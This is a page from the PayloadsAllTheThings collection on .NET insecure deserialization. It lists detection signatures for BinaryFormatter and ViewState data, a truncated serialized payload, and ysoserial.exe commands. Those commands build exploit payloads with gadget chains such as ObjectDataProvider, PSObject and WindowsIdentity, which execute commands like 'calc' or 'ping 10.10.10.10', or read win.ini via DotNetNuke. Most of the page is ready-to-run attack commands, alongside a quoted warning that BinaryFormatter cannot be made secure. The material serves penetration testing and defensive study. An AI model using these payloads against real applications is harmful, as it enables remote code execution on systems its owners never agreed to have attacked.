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PayloadsAllTheThings/Insecure Deserialization/DotNET.md
Swissky d88e32aaae .NET Deserialization
2022-10-11 21:52:46 +02:00

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.NET Serialization

Summary

Detection

  • AAEAAD (Hex) = .NET deserialization BinaryFormatter
  • FF01 (Hex) / /w (Base64) = .NET ViewState

Example: AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=

Exploit

$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

JSON.NET

./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.10.10" -t

BinaryFormatter

The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they’re processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.

./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.10.10" -t

References